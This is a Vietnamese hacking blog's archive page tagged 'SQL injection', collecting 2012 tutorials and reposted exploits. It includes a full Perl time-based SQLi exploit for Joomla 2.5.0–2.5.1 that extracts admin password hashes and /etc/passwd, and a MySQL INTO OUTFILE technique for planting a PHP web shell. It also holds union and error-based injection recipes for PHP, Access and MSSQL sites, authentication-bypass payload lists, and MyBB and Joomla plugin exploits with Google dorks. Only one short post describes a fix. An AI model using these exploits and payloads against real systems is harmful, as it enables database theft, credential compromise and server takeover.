Hiển thị các bài đăng có nhãn SQL injection. Hiển thị tất cả bài đăng
Hiển thị các bài đăng có nhãn SQL injection. Hiển thị tất cả bài đăng

Chủ Nhật, 9 tháng 12, 2012

Kỹ thuật tấn công SQLi sử dụng lệnh into outfile của mysql

Trong bài viết này tôi sẽ đề cập đến câu lệnh “into outfile“, 1 câu lệnh mặc định của MySQl nhưng lại rất hữu ích cho các attacker khi tấn công web bị dính lỗi SQL Injection (tất nhiên DBs là MySQL). Ngoài ra chúng ta cũng sẽ xem xét qua một số điều kiện như quyền đối với file (FILE privilege) và vấn đề thư mục liên quan.
1. Quyền FILE (FILE privilege)
Nếu chúng ta muốn đọc hay ghi các file thì MySQL user phải được cấp quyền FILE
Thử xem xét một số lệnh sau đây:
Code:
1' union select current_user,null/*
hoặc
Code:
1' union select user(),null/*
Các câu lệnh này có thể cung cấp thông tin về MySQL user hiện tại, dạng như:
Usernam@server
Chúng ta sẽ tiếp tục khai thác thông tin về user này trong phần sau
Hoặc bạn cũng có thể đoán tên user bằng Blind SQLi nếu như không union được.
Các câu lệnh ví dụ:
Code:
1' and user() like 'root 1' and mid(user(),1,1) 1' and mid(user(),2,1)>'m 1' 
and ascii(substring(user(),1,1))>64 .....
Khi chúng ta đã biết username, ta có thể kiểm tra xem user này có quyền FILE hay không
Đầu tiên chúng ta sẽ cố gắng truy cập vào bảng mysql.user:
Code:
1' union select file_priv,null from mysql.user where user='username
Chú ý: thay username ở câu lệnh trên bằng username mà các bạn vừa tìm được
Bạn cũng có thể kiểm tra quyền FILE trong bảng trên mà không cần thêm mệnh đề where, tuy nhiên tôi
vẫn thêm nó vào vì đây là cách nhanh và dễ dàng nhất – khi chuyển sang Blind
Code:
1' and mid((select file_priv from mysql.user where user='username'),1,1)='a  
(đừng có thêm NULL ở đây, vì đây ko phải là union select)
Cách trên có thể áp dụng cho cả Mysql version 4.x và 5.x
Nếu MySQL là 5.x ta còn có thể xem quyền FILE ngay trong information_schema
Code:
0′ union select grantee,is_grantable FROM information_schema.user_privileges 
privilege_type = ‘file’ and grantee like ‘%username%
Với blind:
Code:
1′ and mid((select is_grantable from information_schema.user_privileges 
where privilege_type = ‘file’ and grantee like ‘%username%’),1,1)=’Y
Nếu bạn không thể truy cập vào bảng mysql.user hoặc information_schema.user chúng ta cũng cứ
bước tiếp thao sau đây. Tuy nhiên nếu bạn đoán rằng bạn không có quyền FILE thì cách khai thác
sử dụng INTO OUTFILE sẽ không thực hiện được
2. Vấn đề về thư mục web
Khi chúng ta biết chắc rằng mysql user hiện tại có quyền FILE, chúng ta cần phải tìm cho được đường dẫn
chính xác đến thư mục/file mà ta muốn ghi file.
Trong hầu hết các trường hợp MySQL server được chạy cùng server với server web hosting vì thế ta có thể từ
mục ghi file mặc định chuyển ra thư mục web bằng các dấu ../
Với Mysql ver 4, ta có thể tìm đường dẫn datadir bằng hiển thị lỗi của câu lệnh:
Code:
0′ UNION SELECT load_file(’a'),null/*
Trong Mysql 5 thì có thể union select:
Code:
0′ UNION SELECT @@datadir,null/*
Thư mục mặc định để ghi file sẽ là datadir\databasename
Bạn có thể biết được tên databasename bằng câu lệnh
Code:
0′ UNION SELECT database(),null/*
Nếu may mắn, chúng ta có thể thấy các warning của các lệnh như mysql_result(), mysql_free_result(),
mysql_fetch_row() hoặc các lệnh tương tự.
Trong các warning này sẽ hiển thị đường dẫn đến thư mục web và chúng ta dễ dàng xác định được
thư mục để ghi file lên. Các warning này có dạng như
Code:
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result 
resource in /home/shop/shopping2/list1.html on line 80
để hiện thị warning này có thể thử câu lệnh 0′ AND 1=’0
Cách làm trên có hiệu quả đối với hầu hết mọi website, tuy nhiên nếu thông báo lỗi của mysql bị tắt thì
bạn có thể cố gắng đoán thư mục chứa web bằng cách sử dụng lệnh LOAD_FILE() để load và đọc các file cấu hình.
1 số đường dẫn mặc định đến file cấu hình:
Code:
/etc/init.d/apache 
/etc/init.d/apache2
/etc/httpd/httpd.conf
/etc/apache/apache.conf
/etc/apache/httpd.conf
/etc/apache2/apache2.conf
/etc/apache2/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache/conf/httpd.conf
/opt/apache/conf/httpd.conf
/home/apache/httpd.conf
/home/apache/conf/httpd.conf
/etc/apache2/sites-available/default
/etc/apache2/vhosts.d/default_vhost.include
Cũng cần chú ý xem hệ điều hành của webserver là *nix hay win để mà đoán cho tốt :)
Thông thường thư mục gốc chứa web thường đặt ở:
Code:
/var/www/html/ 
/var/www/web1/html/
/var/www/sitename/htdocs/
/var/www/localhost/htdocs
/var/www/vhosts/sitename/httpdocs/
bạn có thể google để tìm thêm
Thông thường bạn có thể ghi files lên tất cả các thư mục mà Mysql server có quyền ghi lên, miễn là bạn có quyền FILE.
Tuy nhiên Admin có thể giới hạn các thư mục có thể ghi được từ public.
Xem thêm tại http://dev.mysql.com/doc/refman/5.1/...s-options.html
3. Tạo ra các file hữu dụng
Khi bạn đã chắc chắn có quyền FILE và xác định được thư mục để ghi file, bạn có thể tiến hành ghi bằng câu lệnh SQL
Code:
0′ UNION SELECT columnname,null FROM tablename INTO OUTFILE ‘../../web/dir/file.txt
Hoặc là ghi bất cứ dữ liệu gì, khi ta không biết tên bảng và cột:
Code:
1′ OR 1=1 INTO OUTFILE ‘../../web/dir/file.txt
Nếu muốn bỏ các ký tự splitting trong dữ liệu, ta có thể sử dụng INTO DUMPFILE thay vì INTO OUTFILE
Cũng có thể kết hợp giữa load_file() để đọc các file trên server
Code:
0′ AND 1=0 UNION SELECT load_file(’…’) INTO OUTFILE ‘…
Trong một số trường hợp ta cần sử dụng hex và unhex:
Code:
0′ AND 1=0 UNION SELECT hex(load_file(’…’)) INTO OUTFILE ‘…
Hoặc bạn có thể ghi bất cứ thứ j vào file, như là webshell chẳng hạn
Code:
0′ AND 1=0 UNION SELECT ‘code’,null INTO 
OUTFILE ‘../../web/server/dir/file.php
Đây là 1 số ví dụ:
Code:
// PHP SHELL 
<? system($_GET['c']); ?>
hoặc passthru nếu muốn
Code:
// webserver info 
<? phpinfo(); ?>
 
// SQL QUERY
<? ... $result = mysql_query($_GET['query']); … ?>
Cuối cùng, 1 số chú ý về kiểu khai thác này:
-Không thể overwrite file với câu lệnh này
-INTO OUTFILE phải là mệnh đề cuối cùng trong câu truy vấn
-Tôi không biết cách nào để mã hóa FILENAME trong INTO OUTFILE(‘FILENAME‘) chặn ‘ thì
không khai thác được, biết cách khai thác vui lòng PM
-có thể mã hóa code bạn muốn ghi vào file bằng lệnh char()

Thứ Sáu, 9 tháng 11, 2012

Joomla 2.5.0-2.5.1 Time Based SQL Injection Exploit

#!/usr/bin/perl
# Thu Mar 15 22:55:32 CET 2012 A. Ramos <aramosf()unsec.net>
# www.securitybydefault.com
# Joomla <2.5.1 time based sql injection - vuln by Colin Wong
#
# using sleep() and not benchmark(), change for < mysql 5.0.12
#
# 1.- Database name: database()
# 2.- Users data table name: (change 'joomla' for database() result)
# select table_name from information_schema.tables where table_schema = "joomla" and table_name like "%_users"
# 3.- Admin password: (change zzz_users from previus sql query result)
# select password from zzzz_users limit 1



use strict;
use LWP::UserAgent;
$| = 1;


my $url = $ARGV[0];
my $wtime = $ARGV[1];
my $sql = $ARGV[2];

unless ($ARGV[2]) {
print "$0 <url> <wait time> <sql>\n";
print "\texamples:\n";
print "\t get admin password:\n";
print "\t\t$0 http://host/joomla/ 3 'database()'\n";
print "\t\t$0 http://host/joomla/ 3 'select table_name from information_schema.tables where table_schema=\"joomla\" and table_name like \"%25_users\"\'\n";
print "\t\t$0 http://host/joomla/ 3 'select password from zzzz_users limit 1'\n";
print "\t get file /etc/passwd\n";
print "\t\t$0 http://host/joomla/ 3 'load_file(\"/etc/passwd\")'\n";
exit 1;
}

my ($len,$sqldata);

my $ua = LWP::UserAgent->new;
$ua->timeout(60);
$ua->env_proxy;

my $stime = time();
my $res = $ua->get($url);
my $etime = time();
my $regrtt = $etime - $stime;
print "rtt: $regrtt secs\n";
print "vuln?: ";

my $sleep = $regrtt + $wtime;
$stime = time();
$res = $ua->get($url."/index.php/404' union select sleep($sleep) union select '1");
$etime = time();
my $rtt = $etime - $stime;
if ($rtt >= $regrtt + $wtime) { print "ok!\n"; } else { print "nope :(\n"; exit 1; }


my $lenoflen;
sub len {
# length of length
for (1..5) {
my $sql=$_[0];
$stime = time();
$res = $ua->get($url."/index.php/404' union select if(length(length(($sql)))=$_,sleep($wtime),null) union select '1");
$etime = time();
my $rtt = $etime - $stime;
if ($rtt >= $regrtt + $wtime) {
$lenoflen = $_;
last;
}
}
for (1..$lenoflen) {
my $ll;
$ll=$_;
for (0..9) {
my $sql=$_[0];
$stime = time();
$res = $ua->get($url."/index.php/404' union select if(mid(length(($sql)),$ll,1)=$_,sleep($wtime),null) union select '1");
$etime = time();
my $rtt = $etime - $stime;
if ($rtt >= $regrtt + $wtime) {
$len .= $_;
}
}
}
return $len;

}

sub data {
my $sql = $_[0];
my $len = $_[1];
my ($bit, $str, @byte);
my $high = 128;

for (1..$len) {
my $c=8;
@byte="";
my $a=$_;
for ($bit=1;$bit<=$high;$bit*=2) {
$stime = time();
# select if((ord(mid((load_file("/etc/passwd")),1,1)) & 64)=0,sleep(2),null) union select '1';
$res = $ua->get($url."/index.php/404' union select if((ord(mid(($sql),$a,1)) & $bit)=0,sleep($wtime),null) union select '1");
$etime = time();
my $rtt = $etime - $stime;
if ($rtt >= $regrtt + $wtime) {
$byte[$c]="0";
} else { $byte[$c]="1"; }
$c--;
}
$str = join("",@byte);
print pack("B*","$str");
}
}

$len = len($sql);
print "$sql length: $len\n";
print "$sql data:\n\n";
data($sql,$len);

Chủ Nhật, 4 tháng 11, 2012

[Tutorial] Hướng dẫn hack web PHP, ASP Jet và Access, ASP OLEDB

1, PHP


1. '
2. order by x--
x: 1,2,3....
Có thể thay dấu + cho khoảng trắng
3. union select all 1,2,...x--
xuất hiện column match
4. khai thác thông tin tại column match:
@@version
5. tại coumn match:
group_concat(table_name)
vd:
union select all 1,2,3,group_concat(table_name),5,6,7,8,9 from information_schema.tables where table_schema=database()--
-> lấy được toàn bộ table -> table nghi ngờ
6. lấy column
group_concat(column_name)
union select all 1,2,3,group_concat(column_name),5,6,7,8,9 from information_schema.columns where table_name='tên table nghi ngờ'--
-> toàn bộ column của table nghi ngờ
7. lấy giá trị
union select all 1,2,3,group_concat(column_nghi ngờ),5,6,7,8,9 from table_nghi ngờ



2, Asp Jet và Access

2.1, Đối với Access
-> union select 1 from table_nghi ngờ
nếu như không thành công, các bạn hãy làm theo sau:
-> union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30... from tbluser
Do không có schema, nên phải đoán table va column
code: %20union select 1,2,username%2b'/'%2bpassword,4,5,6,7,8,9,10,11,12,13,14,15,16,1 7,18,19,20,21,22,23,24,25,26,27,28,29,30 from tbluser'
2.2 Microsoft JET Database Engine
-> union select 1 from tbluser"having 1=1--sp_password
Nếu không thành công:
-> union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30... from tbluser--sp_password
3,ASP OLEDB


1. search link lỗi:
dựa vào dấu : '
2. Phân loại lỗi:
-jet
-ole DB
3. jet:
union
4. OLE DB
A-Khai Thác:
' and 1= convert(int,@@version)--
convert(int,@@servername)--
convert(int,system_user)--
convert(int,db_name())--
B-Tiến hành :
1. Lấy thông tin
2. Lấy table:
convert(int,(select  top 1 table_name from information_schema.tables))--
Lấy table tiep theo:
convert(int,(select  top 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES where table_name not in('table trước đó','table trước đó nữa',...)))--
sau khi lấy được 1 table thì dùng điều kiện where để lấy các table còn lại
5. lay columns:
convert(int,(select top 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where table_name='table Nghi ngờ))--
lấy column tiep theo:
convert(int,(select top 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where table_name='table Nghi ngờ' and column_name not in('column trước đó')))--
sau khi lấy được 1 column thì dùng điều kiện where để lấy các columns còn lại
6. Lấy values trong column
convert(int,(select top 1 column_canlay from table_nghi ngờ))--
7. Tìm link Admin
8. Nếu không có  link Admin thì thực hiện một số thao tác:

Update : Thay đổi thông tin
select : Trích xuất thông tin
Lưu ý:
Dùng dấu (+) để nối thêm text vào password (ASSCII code của '+' là 0x2b) nếu như data có kiểu int.
vd:
UNION SELECT TOP 1 convert(int, password%2b'%20test') FROM admin_tb where user='admin'--
C-các loại sql injection extend:
'
''
'''
"
\'
\''
'
admin' --
admin' #
admin'/*
' or 1=1--
' or 1=1#
' or 1=1/*
') or '1'='1--
') or ('1'='1--
' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a
Nguồn Blog
kechocgian.blogspot.com

Tối ưu Blind SQL Injection - Phần 2


Hi All,

Mình mạn phép share bài viết tiếp theo của Luật về chủ đề Tối Ưu Blind SQL Injection.

---------------------------------------------------------------------------------------------
Okie, tiếp tục bài viết "Tối ưu hóa Blind SQL Injection" cách đây vài hôm của mình . Có hứa là "ngày mai" ...nhưng các bạn thông cảm. Ăn tất niên quên cả giờ giấc.

Thôi vào thẳng vấn đề. Cách tối ưu của mình thì cũng không có gì đặc sắc lắm, cứ xem nó là 1 gợi ý cho các bạn để tìm cách tấn công tối ưu nhất vậy.
.................


I. Sleep cùng 1 lúc...tên hay phết.
Thay vì như cách sleep luôn giá trị find_in_set trả về thì có thể sleep rất lâu, cũng có thể sleep rất lẹ và 1 số nhược điểm mà mình nói trong bài lần trước, thì mình có cách khắc phục đó là:

Hình đã gửi

Tức là thay vì sleep 39 giây. thì chúng ta sẽ tách ra là 3 và 9 để sleep. Với cách này có thể khắc phục các trường hợp find_in_set quá lớn và quá nhỏ, ngoài ra cũng có thể code ra tool để chạy song song 2 query này. Thế là nội trong ít nhất 9 giây ta có thể biết luôn cả char cần tìm thay vì là 39 giây .


II. Tùy chọn giá trị trả về

Đây là cách mình nói ở cuối bài lần trước, tuy rằng cách này thiên về tốc độ, không như cách sleep của anh gamma là tối ưu về số lượng query và câu cú query đơn giản.

VD: Ta có 1 trang news (ex: http://gov.ca.gov/news.php?id=17267). Như các bạn biết, các table chứa các nội dung của những bản tin tức sẽ được tạo theo cấu trúc (minh họa đơn giản nhất, thực tế thì sẽ có thêm vài columns nữa)

Hình đã gửi

Tức là với mỗi ID khác thì Content cũng sẽ khác, với mỗi id khác thì bản tin được trang web in ra cũng sẽ khác. vậy lợi dụng vào việc này ta có thể tùy chọn giá trị id trả về sau mỗi query rồi dùng một ngôn ngữ nào đó ta regex (regular expression) để so sánh.

Để cụ thể hơn mình có 1 source ở localhost. giả dụ đây là 1 trang tin tức. Click vào để xem hình chi tiết hơn.



Hình đã gửi


Hình đã gửi

như các bạn thấy ở mỗi id khác thì nội dung cũng sẽ khác.

Vấn đề ở đây là nếu Blind SQLI như bình thường thì ta chỉ quan tâm TRUE or FALSE, rồi xem những nội dung mà chỉ khi TRUE mới hiện ra có được trang web in ra hay không. Nhưng ta cũng có thể tùy chọn giá trị id trả về. Ví dụ ta khai thác trang localhost bằng query này:

[font=courier new,courier,monospace]content.php?id=if(substring(@@version,1,1)=5,1,2)[/font]


Tức là nếu kí tự đầu tiên của version SQL là 5 thì id sẽ là 1 , nếu không phải id sẽ là 2. Rồi dựa vào nội dung đặc trưng và khác nhau giữa 2 bản tin ấy ta có thể biết kí tự đầu tiên của version có phải là 5 hay không. Vậy với câu query như thế này thì sao ?


if((@a:=mid(INSTR(0x6162636465666768696a6b6c6d6e6f707172737475767778797a303132333435363738395f21402324255e262a28292d2b3d5c2e225c277e605c5c7c7b7d5b5d3a3b20,mid(@@version,1,1)),1,1))!='',if(@a=0,10,if(@a=1,1,if(@a=2,2,if(@a=3,3,if(@a=4,4,if(@a=5,5,if(@a=6,6,if(@a=7,7,if(@a=8,8,if(@a=9,9,0)))))))))),0) 

Câu query này đang tách giá trị find_in_set ra làm 2 rồi tìm, giống như cách 1 ở trên. Nhờ vào nội dung ta có thể biết đang là id mấy, từ id ta có thể truy ra con số đầu tiên mà find_in_set trả về là bao nhiêu chỉ trong vòng 1 query ? vậy tối đa ta chỉ dùng 2 query là đã ra 1 kí tự.Done.

?id=0 , SQL nó không trả về kết quả vì nó hiểu giống như là NULL ở kiểu định dạng string,thì đây là NULL ở dạng int...thì phải. Cái này không rõ lắm .



Vậy các điều kiện để thực hiện cách khai thác này chỉ là có đủ 10 nội dung ở 10 id khác nhau , ở đây là 10 bản tin khác nhau để có thể so sánh qua lại tìm ra giá trị cần tìm . Mọi chi tiết, thắc mắc về bài viết này xin gửi mail cho mình ở bên dưới. Peace!




manhluat93

---------------------------------------------------------------------------------------------------------------------------------------------------------------------

Thanks,

Thong Ngo. 

Tối ưu Blind SQL Injection


Hi All,
Mạn phép trích bài viết trên blog ku Luật để anh em tham khảo và bình luận nhé :

Hôm nay, đi TetCon nguyên 1 ngày. Mình thì ko thật sự hiểu 2 chủ đề Sandbox và Fuzzing.thôi nói chung không phải chuyên ngành mình nên ko ý kiến, dù rằng nghe bảo rất hay 

Tóm tắt về cách anh gamma optimize về Blind SQL Injection là thế này.

Dùng find_in_set (về sau thì gamma dùng instr, mình cũng thấy instr hay hơn) để đánh chỉ mục (index). Tức là nếu select find_in_set('a','a,b,c,d...z'); thì nó sẽ trả về 1. nếu find_in_set('b','a,b,c,d...z') => 2 .


Kết hợp với Bit-Shifting, ta xác định là dù kí tự gì thì cũng phải 7 query/char (8 bit, nhưng fix ngay bit cao nhất là 0, vì sao thì mở bảng ascii ra xem). Mình cũng đã code ra cái tool này rôi, nhưng cuối cùng chả xài.

Vậy nếu kết hợp 2 cái này lại thì ta sẽ tối ưu đc gì ?. Nếu ta find_in_set đủ các kí tự printable (kí tự in ra đc) thì là: abcdefghijklmnopqrstuvwxyz0123456789_!@#$%^&;*()-+=\."\'~`\\|{}[]:; (khoảng trắng nữa nhé) , tổng cộng là 45 kí tự. vậy nếu ta Bit-shifting cái con số find_in_set trả về thì max cũng chỉ là 45 là 101101 (Bin) , vậy tối đa chỉ có 6 q/s (query/char), còn đối với các số nhỏ hơn thì lại càng ít hơn.

Okie. cơ bản là thế, vậy anh gamma đã tối ưu nó như thế nào ?. Lúc đầu thật sự mình tò mò, ko biết 1 q/s là ntn. Xem qua thì ý tưởng của a khá hay. Tức là ta không còn dùng bit-shifting để tìm ra giá trị find_in_set trả về. mà dùng chính kĩ thuật Time-based SQLI. Anh ấy cho SQL sleep luôn giá trị find_in_set trả về, tức là sleep(find_in_set(.....)) ,thế tức là anh ấy sẽ xem thằng SQL nó "ngủ" bao nhiêu giây thì sẽ ra giá trị find_in_set -> char cần tìm -> 1 q/s/ Clear ? 


Ưu điểm thì:
- ý tưởng và cách khai thác của anh hay 
- khả năng bị detect qua log ko cao. vì chỉ có 1 query/ 1 char. thay vì 6 q/s.



Ok. Theo mình thì ý tưởng là hay, nhưng cách này cũng còn vài nhược điểm dễ thấy như:
- Time-based SQLI phụ thuộc rất nhiều vào đường truyền giữa Attacker-Server
- Nếu giá trị find_in_set quá nhỏ thì lại gây nhầm lẫn. về sau a ấy có fix thêm 1 chút là thêm 4-5 kí tự đằng trước để các giá trị nhỏ ko còn nhỏ nữa (tự hiểu đê  ).
- Nếu giá trị find_in_set quá lớn lại ngủ quá lâu, có thể bị timeout bất cứ lúc nào
- Nói chung ý tưởng của anh thì mình thấy là hay và tốt , nhưng giá trị thực tiễn để áp dụng thì chưa cao lắm. nhưng cũng có thể là a đang gợi ý hoặc cho 1 ý tưởng để các bạn có thể suy nghĩ ra cách khác optimize Blind hay hơn .



Nói chung là thế. Nhưng chưa hết, ngày mai mình sẽ viết 1 bài về Optimize Blind SQLI của mình nghĩ ra. Nếu hội tủ vài điều kiện (đ/k này thì ko quá khó, mình nghĩ 90% site bị Blind SQLI sẽ hội tủ đc điều này) thì chỉ cần 2 query / char . Và có thể query song song , tức là có thể dùng cURL cho chạy 2 query 1 lúc -> ko phụ thuộc vào time-based. khả năng bị detect qua log ko cao mấy vì chỉ có 2 query. tốc độ nhanh. Nói chung mai các bạn sẽ biết chi tiết...

manhluat93

Anh em cùng phân tích và đưa ra ý tưởng nào 
@baby : Chưa thấy bài "ngày mai" gì đó của chú.

Thanks,

Thong Ngo.

Hướng dẫn hack web PHP, ASP Jet và Access, ASP OLEDB


1, PHP

1. '
2. order by x--
x: 1,2,3....
Có thể thay dấu + cho khoảng trắng
3. union select all 1,2,...x--
xuất hiện column match
4. khai thác thông tin tại column match:
@@version
5. tại coumn match:
group_concat(table_name)
vd:
union select all 1,2,3,group_concat(table_name),5,6,7,8,9 from information_schema.tables where table_schema=database()--
-> lấy được toàn bộ table -> table nghi ngờ
6. lấy column
group_concat(column_name)
union select all 1,2,3,group_concat(column_name),5,6,7,8,9 from information_schema.columns where table_name='tên table nghi ngờ'--
-> toàn bộ column của table nghi ngờ
7. lấy giá trị
union select all 1,2,3,group_concat(column_nghi ngờ),5,6,7,8,9 from table_nghi ngờ



2, Asp Jet và Access

2.1, Đối với Access
-> union select 1 from table_nghi ngờ
nếu như không thành công, các bạn hãy làm theo sau:
-> union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30... from tbluser
Do không có schema, nên phải đoán table va column
code: %20union select 1,2,username%2b'/'%2bpassword,4,5,6,7,8,9,10,11,12,13,14,15,16,1 7,18,19,20,21,22,23,24,25,26,27,28,29,30 from tbluser'
2.2 Microsoft JET Database Engine
-> union select 1 from tbluser"having 1=1--sp_password
Nếu không thành công:
-> union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30... from tbluser--sp_password


3,ASP OLEDB


1. search link lỗi:
dựa vào dấu : '
2. Phân loại lỗi:
-jet
-ole DB
3. jet:
union
4. OLE DB
A-Khai Thác:
' and 1= convert(int,@@version)--
convert(int,@@servername)--
convert(int,system_user)--
convert(int,db_name())--
B-Tiến hành :
1. Lấy thông tin
2. Lấy table:
convert(int,(select  top 1 table_name from information_schema.tables))--
Lấy table tiep theo:
convert(int,(select  top 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES where table_name not in('table trước đó','table trước đó nữa',...)))--
sau khi lấy được 1 table thì dùng điều kiện where để lấy các table còn lại
5. lay columns:
convert(int,(select top 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where table_name='table Nghi ngờ))--
lấy column tiep theo:
convert(int,(select top 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where table_name='table Nghi ngờ' and column_name not in('column trước đó')))--
sau khi lấy được 1 column thì dùng điều kiện where để lấy các columns còn lại
6. Lấy values trong column
convert(int,(select top 1 column_canlay from table_nghi ngờ))--
7. Tìm link Admin
8. Nếu không có  link Admin thì thực hiện một số thao tác:

Update : Thay đổi thông tin
select : Trích xuất thông tin
Lưu ý:
Dùng dấu (+) để nối thêm text vào password (ASSCII code của '+' là 0x2b) nếu như data có kiểu int.
vd:
UNION SELECT TOP 1 convert(int, password%2b'%20test') FROM admin_tb where user='admin'--
C-các loại sql injection extend:
'
''
'''
"
\'
\''
'
admin' --
admin' #
admin'/*
' or 1=1--
' or 1=1#
' or 1=1/*
') or '1'='1--
') or ('1'='1--
' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a

Tổng hợp các challenge về SQL Injection


Mình tổng hợp cách trang về SQL Injection tại đây để thực tâp
Test sql query tại đây : http://sqlfiddle.com/#!2/6dc47/6
Kiến thức cơ bản : http://www.websec.ca/kb/sql_injection
Wargame :
http://zerocoolhf.altervista.org/
http://www.zixem.altervista.org/

==> Mọi thảo luận về cách làm các challenge hay kỹ thuận có thể bàn luận tại đây 

MyBB Profile Albums Plugin 0.9 (albums.php, album parameter) SQL Injection

Bug cho forum sài MyBB với cái Albums plugin version 0.9
Tut:
1. Tạo cái user trên forum victim.
2. Tạo cái Album rồi upload hình lên.
-> 2 bước trên để có được cái ID user và ID của album sử dụng cho bước thứ 3.
Đọc thêm »

MyBB Follower User Plugin SQL Injection


# Exploit Title: Follower User MyBB plugin SQL Injection 0day
# Google Dork: intext:"Users subscribed to" inurl:member.php -site:fwcombie.us
# Date: 13.10.2012
# Exploit Author: Th3FreakPony
# Software Link: http://mods.mybb.com/view/suscriber-user
# Version: 1.5+
# Tested on: Linux.
----------------------------------------------

The vulnerabillity exist within SuscribeUsers.php on SuscribeUsers_add():

$usid = $mybb->input[usid]; //Line 671
$uid = $mybb->input[uid]; //Line 672
if(user_awaiting($uid,$usid)) //Line 781
{ //Line 782
redirect("member.php?action=profile&uid=".$usid."# suscriberuser", $lang->double_suscription_awaiting,$lang->suscriberuser); // Line 783
} //Line 784
?>


----------------------------------------------

Instructions:
1. Create a new account on the target site.
2. Check your User ID by entering your profile link and write it down.
3. Enter here and start to inject your code:

/misc.php?suscriberuser=yes&usid='[SQLi]--+-&uid=[Your_User_ID]

----------------------------------------------

Demo:
http://server/misc.php?suscriberuser=yes&usid=' or 1 group by concat_ws(0x7e,version(),floor(rand(0)*2)) having min(0)--+-2&uid=[your_uid]
Image : http://i.imgur.com/eGhzJ.png


Follow: https://twitter.com/PonyBlaze


Shotouts goes to FillySec.

Joomla Spider Catalog (index.php, product_id parameter) SQL Injection Vulnerability

1 ######################################### 1
0 I'm D4NB4R member from Inj3ct0r Team 1
1 ######################################### 0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

#Exploit Title: Joomla com_spidercatalog SQL injection Vulnerability

Dork: inurl:index.php?option=com_spidercatalog

Date: [31-10-2012]

Author: Daniel Barragan "D4NB4R"

Twitter: @D4NB4R

Vendor: http://www.web-dorado.com/

Demo: http://www.web-dorado.com/products/joomla-catalog.html

Version: 1.1 (last update on Sep 25, 2012)

License: GPLv2 or later Commercial

Tested on: [Linux(Arch)-Windows(7ultimate)]


Descripcion:

Spider Catalog for Joomla! is a convenient tool for organizing the products represented on your website into catalogs. Each product on the catalog is assigned with a relevant category, which makes it easier for the customers to search and identify the needed products within the catalog. It is possible to add an unlimited number of parameters for each of the categories in the catalog in order to allow a detailed representation of the product on the catalog. Moreover, each product on the catalog can be accompanied with an image. Customers are provided with the possibility of rating the products available on the catalog, as well as writing customer reviews that will appear under the catalog products. Spider Catalog provides you with a high level of customization concerning almost all the aspects of the catalog, ranging from background colors and text size inside the product cell to the number of products in the row and the number of customer reviews per catalog page.


Vulnerable Parameter Name:

product_id

Parameter Type:

Querystring


Attack Pattern:

-{Valid id}%27%20or%201%3d1%2b%28select%201%20and%20row%28 1%2c1%29%3E%28select%20count%28*%29%2cconcat%28CON CAT%28version%28%29,0x3D,database%28%29,0x3D,0x3D, 0x3D%29%2c1111%2cfloor%28rand%28%29*2%29%29x%20fro m%20%28select%201%20union%20select%202%29a%20group %20by%20x%20limit%201%29%29%2b%27&view=showproduct &page_num=1&back=1



Exploit Demo:

SQLi : SQL injection

http://localhost/index.php?option=co...e_num=1&back=1



Greetz: All Member Inj3ct0r Team * m1nds group (www.m1nds.com)* pilot * aku * navi_terrible * dedalo * ksha
* shine * devboot * r0073r * indoushka * KedAns-Dz * Caddy-Dz * Kalashinkov3 Jago-dz * Kha&miX * T0xic
* Ev!LsCr!pT_Dz * By Over-X *Saoucha * Cyber Sec * theblind74 * onurozkan * n2n * Meher Assel
* L0rd CruSad3r * MaYur * MA1201 * KeDar * Sonic * gunslinger_ * SeeMe * RoadKiller Sid3^effects
* aKa HaRi * His0k4 * Hussin-X * Rafik * Yashar * SoldierOfAllah * RiskY.HaCK * Stake * MR.SoOoFe
* ThE g0bL!N * AnGeL25dZ * ViRuS_Ra3cH * Sn!pEr.S!Te


__________________________________________________ ___
Daniel Barragan "D4NB4R" 2012

Thứ Bảy, 3 tháng 11, 2012

ChangUonDyU Advanced Statistics - SQL injection

[Juno_okyo's Blog] ChangUonDyU Advanced Statistics - SQL injection





Thứ Sáu, 2 tháng 11, 2012

Khắc phục bug mod ChangUonDyU - Advanced Statistics



Để fix mod này. Các bạn vào: Admincp -> Plugin & product option -> Plugin manage -> ChangUonDyU - Advanced Statistics - Get Data -> EDIT

Bạn tìm đến dòng:

$foruminid = $vbulletin->db->escape_string($_REQUEST['listforumid']);

Thay bằng:
$foruminid = intval($_REQUEST['listforumid']);

Nguồn blog:

[TUT] khai thác bug mod ChangUonDyU - Advanced Statistics

 Tut này của bạn parkdream1 r00t-team diễn đàn XGR nhé
Gần đây trên mạng xôn xao về việc 1 số diễn đàn bị hack bởi lỗi này
Mình xin phép phân tích như sau
1/ Đoạn code bị lỗi


Ở đây không kiểm tra giá trị của $_REQUEST['listforumid'] nhập vào
Ta có thể khai thác bằng cách thêm ")" để kết thúc query và thêm vào 1 query mới
2/ Khai thác

Hình ảnh của 1 REQUEST bình thường



Thử order xem sao

giờ đến union select thử

Thơm rồi
root@localhost : forum : 5.5.27
Đến đây chắc ai cũng biết phải làm gì tiếp theo nhỉ

Thứ Năm, 1 tháng 11, 2012

[Bug-Exploit] vBulletin ChangUonDyU - Advanced Statistics SQLi Vulnerability

# 1337day.com [2012-11-01]
##################################
Author: Parkdream1
vendor: http://vbulletin.org/
##################################
ChangUonDyU - Advanced Statistics SQL Injection
##################################

http://xgr0up.net/XgR/showthread.php?t=25
No Google Dork

